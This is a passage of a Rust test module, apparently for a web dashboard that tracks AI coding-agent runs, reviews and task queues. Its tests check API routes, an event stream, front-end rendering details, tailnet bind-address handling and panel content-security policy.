11028 assert!(!row["done"].as_bool().unwrap());
11029 }
11030
11031 #[tokio::test]
11032 async fn the_run_list_is_newest_first_and_honours_a_limit() {
11033 let f = Fixture::start().await;
11034 for id in [
11035 "20260902-140501-aaaa",
11036 "20260902-140502-bbbb",
11037 "20260902-140503-cccc",
11038 ] {
11039 write_run(&f.runs(), id, RunStatus::Merged);
11040 }
11041
11042 let all = f.get("/api/runs").await.json();
11043 let capped = f.get("/api/runs?limit=2").await.json();
11044
11045 assert_eq!(all[0]["id"], "20260902-140503-cccc");
11046 assert_eq!(all.as_array().map(Vec::len), Some(3));
11047 assert_eq!(capped.as_array().map(Vec::len), Some(2));
11048 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
11049 }
11050
11051 #[tokio::test]
11052 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
11053 let f = Fixture::start().await;
11054 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
11055
11056 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
11057
11058 assert_eq!(res.status, 200);
11059 assert!(
11060 res.headers
11061 .contains("content-type: text/plain; charset=utf-8"),
11062 "a browser must render it, not download it: {}",
11063 res.headers
11064 );
11065 assert!(
11069 res.body.contains("20260902-140501-a1b2"),
11070 "the report is about the run that was asked for: {}",
11071 res.body
11072 );
11073 }
11074
11075 #[tokio::test]
11076 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
11077 let f = Fixture::start().await;
11078
11079 let html = f.get("/").await;
11080 let css = f.get("/app.css").await;
11081 let js = f.get("/app.js").await;
11082
11083 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
11084 assert!(
11085 html.headers
11086 .contains("content-type: text/html; charset=utf-8")
11087 );
11088 assert!(css.headers.contains("content-type: text/css"));
11089 assert!(js.headers.contains("content-type: text/javascript"));
11090 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
11091 }
11092
11093 #[test]
11094 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
11095 let body = |name: &str| {
11096 let at = APP_JS
11097 .find(name)
11098 .unwrap_or_else(|| panic!("{name} missing"));
11099 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11100 };
11101 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
11102 let note = body("function landRoundNote");
11103 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
11104 assert!(note.contains("Land round ${round}"));
11105 let land = body("function renderLand");
11106 let note_at = land
11107 .find("landRoundNote(pr)")
11108 .expect("renderLand uses the note");
11109 assert!(
11110 note_at
11111 < land
11112 .find("roundRail(pr)")
11113 .expect("renderLand uses the rail")
11114 );
11115 }
11116
11117 #[test]
11118 fn the_runs_page_redesign_keeps_its_guards() {
11119 let body = |name: &str| {
11120 let at = APP_JS
11121 .find(name)
11122 .unwrap_or_else(|| panic!("{name} missing"));
11123 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11124 };
11125 let land = body("function renderLand");
11127 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
11128 assert!(
11129 !land.contains("box.append("),
11130 "renderLand must use append()"
11131 );
11132 assert!(land.contains("append(box, ["));
11133 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
11135 assert!(
11136 body("function applyRoute")
11137 .contains("route.name !== state.route.name || route.id !== state.route.id")
11138 );
11139 assert!(!APP_JS.contains("adviseConvergeDiagram"));
11141 assert!(!INDEX_HTML.contains("advise-converge"));
11142 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
11143 assert!(APP_JS.contains("provisional"));
11144 for id in [
11145 "run-tab-overview",
11146 "run-tab-timeline",
11147 "run-tab-report",
11148 "run-report",
11149 "runs-scope",
11150 ] {
11151 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
11152 }
11153 assert!(!INDEX_HTML.contains("runs-tree"));
11154 assert!(!INDEX_HTML.contains("run-raw-panel"));
11155 assert!(APP_JS.contains("resume"));
11157 assert!(APP_JS.contains("unreadable"));
11159 }
11160
11161 #[test]
11162 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
11163 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
11164 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
11165 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
11166 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
11167 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11168 assert!(APP_JS.contains("unreadable` : null"));
11170 }
11171
11172 #[test]
11173 fn the_run_detail_payload_says_whether_the_run_is_done() {
11174 for (status, done) in [
11176 (RunStatus::Superseded, true),
11177 (RunStatus::Blocked, true),
11178 (RunStatus::Landing, false),
11179 ] {
11180 let mut state = RunState::new(
11181 std::path::PathBuf::from("/repo"),
11182 "main".to_owned(),
11183 "abc".to_owned(),
11184 "x".to_owned(),
11185 crate::config::Config::default(),
11186 );
11187 state.status = status;
11188 let v = serde_json::to_value(RunDetailView::of(
11189 state,
11190 crate::run::Liveness::Unknown,
11191 None,
11192 None,
11193 None,
11194 ))
11195 .unwrap();
11196 assert_eq!(v["done"], done, "{status:?}");
11197 }
11198 }
11199
11200 fn has_strong(nodes: &[md::Node]) -> bool {
11202 serde_json::to_string(nodes).unwrap().contains("strong")
11203 }
11204
11205 #[test]
11206 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
11207 let mut state = RunState::new(
11208 std::path::PathBuf::from("/repo"),
11209 "main".to_owned(),
11210 "abc".to_owned(),
11211 "x".to_owned(),
11212 crate::config::Config::default(),
11213 );
11214 let proposal = |approach: &str| {
11215 serde_json::json!({
11216 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
11217 })
11218 };
11219 state.advice = Some(
11220 serde_json::from_value(serde_json::json!({
11221 "records": [
11222 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
11223 "proposal": proposal("do **this**")},
11224 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
11225 ],
11226 "synthesis": "- one\n- **two**\n\n`code`",
11227 }))
11228 .unwrap(),
11229 );
11230 state.candidates = serde_json::from_value(serde_json::json!([
11231 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
11232 "summary": "did **it**"},
11233 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
11234 ]))
11235 .unwrap();
11236 state.reviews = serde_json::from_value(serde_json::json!([{
11239 "round": 1, "head": "h",
11240 "reviews": [{
11241 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
11242 "findings": [
11243 {"severity": "nit", "title": "t1", "detail": "plain nit"},
11244 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
11245 ],
11246 }],
11247 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
11248 "fix": {"agent": "a", "notes": "fixed **it**",
11249 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
11250 }, {"round": 2, "head": "h2", "reviews": []}]))
11251 .unwrap();
11252
11253 let v = serde_json::to_value(RunDetailView::of(
11254 state,
11255 crate::run::Liveness::Unknown,
11256 None,
11257 None,
11258 None,
11259 ))
11260 .unwrap();
11261
11262 let strong = |p: &str| {
11263 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
11264 assert!(n.to_string().contains("strong"), "{p}: {n}");
11265 };
11266 strong("/advice_md/synthesis");
11267 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
11268 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
11269 strong("/advice_md/approaches/0");
11270 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
11271 strong("/candidate_summaries_md/0");
11272 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
11273 strong("/reviews_md/0/reviewers/0/summary");
11274 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
11275 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
11276 assert!(f[1].to_string().contains("strong"));
11277 strong("/reviews_md/0/reconsideration/0");
11278 strong("/reviews_md/0/fix/notes");
11279 strong("/reviews_md/0/fix/rejected/0");
11280 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
11281 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
11282 assert_eq!(v["candidates"][0]["summary"], "did **it**");
11284 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
11285 }
11286
11287 #[test]
11288 fn a_run_without_advice_has_no_advice_md() {
11289 let state = RunState::new(
11290 std::path::PathBuf::from("/repo"),
11291 "main".to_owned(),
11292 "abc".to_owned(),
11293 "x".to_owned(),
11294 crate::config::Config::default(),
11295 );
11296 let p = run_prose_md(&state);
11297 assert!(p.advice_md.is_none());
11298 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
11299 }
11300
11301 #[test]
11302 fn a_question_view_carries_markdown_for_each_thread_turn() {
11303 let home = TempDir::new().unwrap();
11304 let store = ask::Questions::at(home.path().join("questions"));
11305 let mut q = Question::new(
11306 "run".to_owned(),
11307 "implement".to_owned(),
11308 "impl-A".to_owned(),
11309 "which?".to_owned(),
11310 String::new(),
11311 Vec::new(),
11312 );
11313 q.say("plain words").unwrap();
11314 q.reply("use **this**", Vec::new()).unwrap();
11315 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
11316 let bodies = &v["thread_bodies_md"];
11317 assert_eq!(bodies.as_array().unwrap().len(), 2);
11318 assert!(!bodies[0].to_string().contains("strong"));
11319 assert!(bodies[1].to_string().contains("strong"));
11320 }
11321
11322 #[test]
11323 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
11324 assert!(APP_JS.contains("function landView(run, raw) {"));
11328 assert!(
11329 APP_JS.contains(
11330 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
11331 )
11332 );
11333 assert!(APP_JS.contains("const pr = landView(run, raw);"));
11334 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
11335 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
11336 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
11337 }
11338
11339 #[test]
11340 fn live_runs_are_never_hidden_or_folded_as_superseded() {
11341 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
11342 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
11343 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
11344 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
11345 }
11346
11347 #[test]
11348 fn review_rounds_label_a_distinct_verified_head() {
11349 assert!(APP_JS.contains("round.verified_head"));
11350 assert!(APP_JS.contains("verified HEAD"));
11351 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
11352 }
11353
11354 #[test]
11355 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
11356 assert!(APP_JS.contains("blocked: { glyph:"));
11360 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
11361
11362 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
11366 assert!(
11367 APP_JS.contains(
11368 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
11369 ),
11370 "the note line must name what a blocked task is waiting on, not just that it is blocked"
11371 );
11372 assert!(APP_JS.contains("if (status === \"blocked\") {"));
11376
11377 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
11381 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
11382 assert!(
11383 APP_JS.contains("location.hash = \"#/questions\";"),
11384 "a question node must jump to the Questions screen, not pretend to be a task"
11385 );
11386
11387 assert!(APP_JS.contains("Resolved questions"));
11390 assert!(APP_JS.contains("r.answersList.append("));
11391 assert!(APP_CSS.contains(".task-answers"));
11392 {
11393 let start = APP_JS
11394 .find("function updateTalkTaskRow")
11395 .expect("updateTalkTaskRow");
11396 let body = &APP_JS[start..];
11397 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
11398 assert!(
11399 body.contains(
11400 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
11401 ),
11402 "a chat-filed task row must link to the task page"
11403 );
11404 assert!(
11405 !body.contains("#/runs/") && !body.contains("#/queue/"),
11406 "the row must not branch to a run or the queue card"
11407 );
11408 assert!(APP_CSS.contains(".talk-task-link"));
11409 }
11410 }
11411
11412 #[test]
11413 fn a_task_notification_links_to_the_task_page() {
11414 let start = APP_JS
11416 .find("function noticeLink(")
11417 .expect("noticeLink exists");
11418 let body = &APP_JS[start..];
11419 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
11420 assert!(
11421 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
11422 "a task notice's link must target the task page"
11423 );
11424 assert!(
11425 !body.contains("#/queue/"),
11426 "regression: the task link must not go back to the Backlog route"
11427 );
11428 assert!(
11429 APP_JS.contains(
11430 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
11431 ),
11432 "`#/tasks/<id>` must parse into the task route"
11433 );
11434
11435 assert!(
11437 APP_JS.contains(
11438 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
11439 ),
11440 "`#/queue/<id>` must parse into a route carrying that id"
11441 );
11442
11443 assert!(APP_JS.contains("state.queueFocus = route.id;"));
11447 assert!(APP_JS.contains("function consumeQueueFocus()"));
11448 assert!(APP_JS.contains("jumpToTask(id)"));
11449 }
11450
11451 #[test]
11454 fn chat_rows_put_the_title_alone_on_the_first_line() {
11455 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
11456 assert!(APP_CSS.contains(
11457 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
11458 ));
11459 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
11460 assert!(APP_JS.contains("class: \"badge talk-unread\""));
11461 }
11462
11463 #[test]
11464 fn run_rows_put_the_title_alone_on_the_first_line() {
11465 assert!(
11466 APP_CSS.contains(
11467 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
11468 )
11469 );
11470 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
11471 assert!(APP_JS.contains("class: \"card run-card\""));
11472 assert!(APP_JS.contains("class: \"repo run-id\""));
11473 }
11474
11475 #[test]
11479 fn wide_screens_show_list_and_preview_side_by_side() {
11480 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
11482 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
11483 assert!(APP_CSS.contains("main[data-split]"));
11484 assert!(APP_CSS.contains("body[data-split]"));
11485
11486 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
11488 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
11489 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
11490 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
11491 assert!(INDEX_HTML.contains("id=\"split-empty\""));
11492
11493 assert!(APP_JS.contains("function markSelected() {"));
11495 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
11496 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
11497 assert!(
11499 APP_CSS.contains(
11500 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
11501 )
11502 );
11503
11504 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
11506 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
11507 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
11508 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
11509
11510 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
11514 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
11515 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
11516 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
11517
11518 assert!(APP_JS.contains("sandbox: \"\""));
11520 assert!(!APP_JS.contains("sandbox: \"allow"));
11521 }
11522
11523 #[test]
11524 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
11525 assert!(
11534 APP_JS.contains(
11535 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
11536 ),
11537 "the search-clearing branch must run before state.queueFocus is cleared, or the \
11538 recursive renderQueue() call has nothing left to jump to"
11539 );
11540 assert!(
11541 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
11542 "state.queueFocus must be cleared only once the jump has landed, so a card that \
11543 arrives later still gets it"
11544 );
11545 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
11546 assert!(APP_JS.contains("is not in the current Backlog."));
11547 assert!(APP_JS.contains("li.card[data-task-id=\""));
11548 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
11549 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
11550 assert!(APP_CSS.contains(".card-permalink"));
11551 assert!(APP_CSS.contains(".queue-focus-status"));
11552 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
11553 }
11554
11555 #[test]
11556 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
11557 assert!(
11565 APP_JS.contains(
11566 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
11567 ),
11568 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
11569 );
11570 }
11571
11572 #[test]
11573 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
11574 assert!(
11575 APP_JS.contains("round.verified_head !== round.head"),
11576 "a round that verified an earlier commit must be visibly distinct from one that \
11577 verified the head reviewers are looking at now"
11578 );
11579 assert!(
11580 APP_JS.contains("round.verified_at"),
11581 "when a check ran must be on the wire, not just which commit"
11582 );
11583 assert!(
11584 APP_JS.contains("resource_blocked"),
11585 "a command magi never got to run (shared build cache contention) must not render \
11586 the same as a command that ran and failed"
11587 );
11588 }
11589
11590 #[test]
11591 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
11592 assert!(
11600 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
11601 "every KPI tile built through statusTile() must route its click through \
11602 openRunsFiltered, the single place that sets the Runs filter"
11603 );
11604 for (label, status) in [
11605 ("Merged", "merged"),
11606 ("Ready", "ready"),
11607 ("Blocked", "blocked"),
11608 ("Stalled", "stalled"),
11609 ] {
11610 let call = format!("statusTile(\"{label}\", t.{status}, ");
11611 assert!(
11612 APP_JS.contains(&call),
11613 "expected the {label} KPI tile built via {call}..."
11614 );
11615 assert!(
11616 APP_JS.contains(&format!("status === \"{status}\"")),
11617 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
11618 compare a run against, not one invented only for the stats tile"
11619 );
11620 }
11621 assert!(
11622 APP_JS.contains("function openRunsFiltered(status)"),
11623 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
11624 );
11625 assert!(
11626 APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
11627 "matchesFilter must gate on the exact status a KPI tile named"
11628 );
11629 assert!(
11637 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
11638 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
11639 hashchange event that may never fire"
11640 );
11641 }
11642
11643 #[test]
11644 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
11645 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
11651 assert!(
11652 APP_JS.contains(
11653 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
11654 ),
11655 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
11656 guard for an incompatible tree section"
11657 );
11658 }
11659
11660 #[test]
11661 fn every_stats_queue_tile_names_a_real_queue_section() {
11662 assert!(
11668 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
11669 "every queue tile built through sectionTile() must route its click through \
11670 openQueueSectionFocus"
11671 );
11672 for key in ["upnext", "running", "done", "held", "blocked"] {
11673 assert!(
11674 APP_JS.contains(&format!("{{ key: \"{key}\",")),
11675 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
11676 );
11677 }
11678 for line in [
11682 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
11683 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
11684 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
11685 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
11686 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
11687 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
11688 ] {
11689 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
11690 }
11691 }
11692
11693 #[test]
11694 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
11695 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
11702 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
11703 assert!(APP_JS.contains("function revealQueueSection(details)"));
11704 assert!(
11705 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
11706 "renderQueue() must consume both focus channels on every pass"
11707 );
11708 assert!(
11709 APP_JS.contains(
11710 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
11711 ),
11712 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
11713 the recursive renderQueue() call has nothing left to reveal"
11714 );
11715 assert!(
11716 APP_JS.contains(
11717 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
11718 ),
11719 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
11720 );
11721 assert!(
11729 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
11730 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
11731 hashchange event that may never fire"
11732 );
11733 }
11734
11735 #[tokio::test]
11736 async fn the_change_stream_announces_the_current_revisions_on_connect() {
11737 let f = Fixture::start().await;
11738
11739 let mut socket = tokio::net::TcpStream::connect(f.addr)
11740 .await
11741 .expect("connect");
11742 socket
11743 .write_all(
11744 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
11745 )
11746 .await
11747 .expect("write request");
11748
11749 let mut seen = String::new();
11752 let mut buf = [0u8; 1024];
11753 while !seen.contains("event: change") {
11754 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
11755 .await
11756 .expect("the stream must speak within five seconds")
11757 .expect("read");
11758 assert!(read > 0, "the server closed the change stream: {seen}");
11759 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
11760 }
11761
11762 assert!(
11763 seen.to_lowercase()
11764 .contains("content-type: text/event-stream"),
11765 "the browser only reconnects automatically for a real SSE stream: {seen}"
11766 );
11767 let data = seen
11768 .lines()
11769 .find_map(|l| l.strip_prefix("data:"))
11770 .expect("a data line");
11771 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
11772 assert!(
11773 payload["queue_rev"].is_u64()
11774 && payload["runs_rev"].is_u64()
11775 && payload["questions_rev"].is_u64()
11776 && payload["talks_rev"].is_u64()
11777 && payload["notifications_rev"].is_u64()
11778 && payload["loop_rev"].is_u64(),
11779 "the client needs one revision per store to know what to refetch, \
11780 and `talks_rev` is the only notification a standing talk gets - a \
11781 phone whose radio slept through a turn learns about it here, as \
11782 does one whose operator started the loop from another device: \
11783 {payload}"
11784 );
11785
11786 let health = f.get("/api/health").await.json();
11793 for key in [
11794 "queue_rev",
11795 "runs_rev",
11796 "questions_rev",
11797 "talks_rev",
11798 "notifications_rev",
11799 "loop_rev",
11800 ] {
11801 assert!(
11802 health[key].is_u64(),
11803 "health is the change stream's fallback and is missing `{key}`: {health}"
11804 );
11805 }
11806 }
11807
11808 #[tokio::test]
11809 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
11810 let f = Fixture::start().await;
11811 let before = f.get("/api/health").await.json()["talks_rev"]
11812 .as_u64()
11813 .expect("talks_rev");
11814
11815 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
11816 std::thread::sleep(Duration::from_millis(10));
11817 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
11818 on_disk.turns.push(crate::talk::Turn {
11819 who: crate::talk::Who::Operator,
11820 body: "a new turn".to_owned(),
11821 at: Timestamp::now(),
11822 attachments: Vec::new(),
11823 usage: None,
11824 });
11825 f.talks().put(&mut on_disk).expect("record a turn");
11826
11827 let after = f.get("/api/health").await.json()["talks_rev"]
11828 .as_u64()
11829 .expect("talks_rev");
11830 assert_ne!(
11831 before, after,
11832 "a phone must be able to notice a talk's reply without polling every store"
11833 );
11834 }
11835
11836 #[test]
11837 fn bind_reads_back_from_the_spelling_the_cli_prints() {
11838 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
11842 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
11843 }
11844 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
11845 assert!("everywhere".parse::<Bind>().is_err());
11846 }
11847
11848 #[test]
11849 fn an_explicit_bind_address_is_taken_verbatim() {
11850 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
11851
11852 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
11853
11854 assert_eq!(addr, asked);
11855 assert!(
11856 warning.is_none(),
11857 "an operator who named an address gets no lecture"
11858 );
11859 }
11860
11861 #[test]
11862 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
11863 let (addr, warning) = resolve_bind(&Bind::Auto);
11864
11865 match addr {
11872 IpAddr::V4(ip) if is_tailnet(&ip) => {
11873 assert!(warning.is_none(), "a tailnet address needs no warning");
11874 }
11875 other => {
11876 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
11877 let warning = warning.expect("a fallback has to explain itself");
11878 assert!(
11879 warning.contains("127.0.0.1") && warning.contains("local-only"),
11880 "the warning says what happened and what it costs: {warning}"
11881 );
11882 }
11883 }
11884 }
11885
11886 #[test]
11887 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
11888 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
11892 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
11893 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
11894 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
11895 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
11896 }
11897
11898 #[test]
11899 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
11900 let ids = vec![
11901 "20260902-140501-aaaa".to_owned(),
11902 "20260902-140502-aabb".to_owned(),
11903 ];
11904
11905 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
11906 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
11907 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
11908
11909 assert_eq!(missing.status, StatusCode::NOT_FOUND);
11910 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
11911 assert_eq!(short, "20260902-140502-aabb");
11912 }
11913 #[tokio::test]
11914 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
11915 let fx = Fixture::start().await;
11921 let id = panel(
11922 &fx,
11923 "<img src=\"shot.png\">",
11924 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
11925 );
11926
11927 let doc = fx
11929 .get(&format!("/api/questions/{id}/panel/index.html"))
11930 .await;
11931 assert_eq!(doc.status, 200, "{}", doc.body);
11932 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
11933
11934 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
11935 assert_eq!(sibling.status, 200, "{}", sibling.body);
11936 assert_eq!(sibling.header("content-type"), Some("image/png"));
11937 assert_eq!(
11938 sibling.header("content-security-policy"),
11939 Some(PANEL_CSP),
11940 "the sibling route must carry the same policy as the asset route"
11941 );
11942
11943 assert_eq!(
11946 fx.head(&format!("/api/questions/{id}/panel")).await.status,
11947 200
11948 );
11949 }
11950
11951 #[test]
11952 fn runs_revision_moves_when_deleting_an_older_run() {
11953 let temp = TempDir::new().expect("tempdir");
11954 let runs = temp.path().join("runs");
11955 std::fs::create_dir_all(&runs).expect("create runs dir");
11956
11957 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
11958
11959 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
11960 std::thread::sleep(Duration::from_millis(10));
11961 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
11962
11963 let rev_before = runs_revision(&runs);
11964 assert!(rev_before > 0);
11965
11966 let old_dir = runs.join("20260901-100000-old1");
11967 std::fs::remove_dir_all(&old_dir).expect("remove old run");
11968
11969 let rev_after = runs_revision(&runs);
11970 assert_ne!(
11971 rev_before, rev_after,
11972 "deleting an older run must change the revision so other clients see the deletion"
11973 );
11974 }
11975
11976 fn write_state(runs: &FsPath, state: &RunState) {
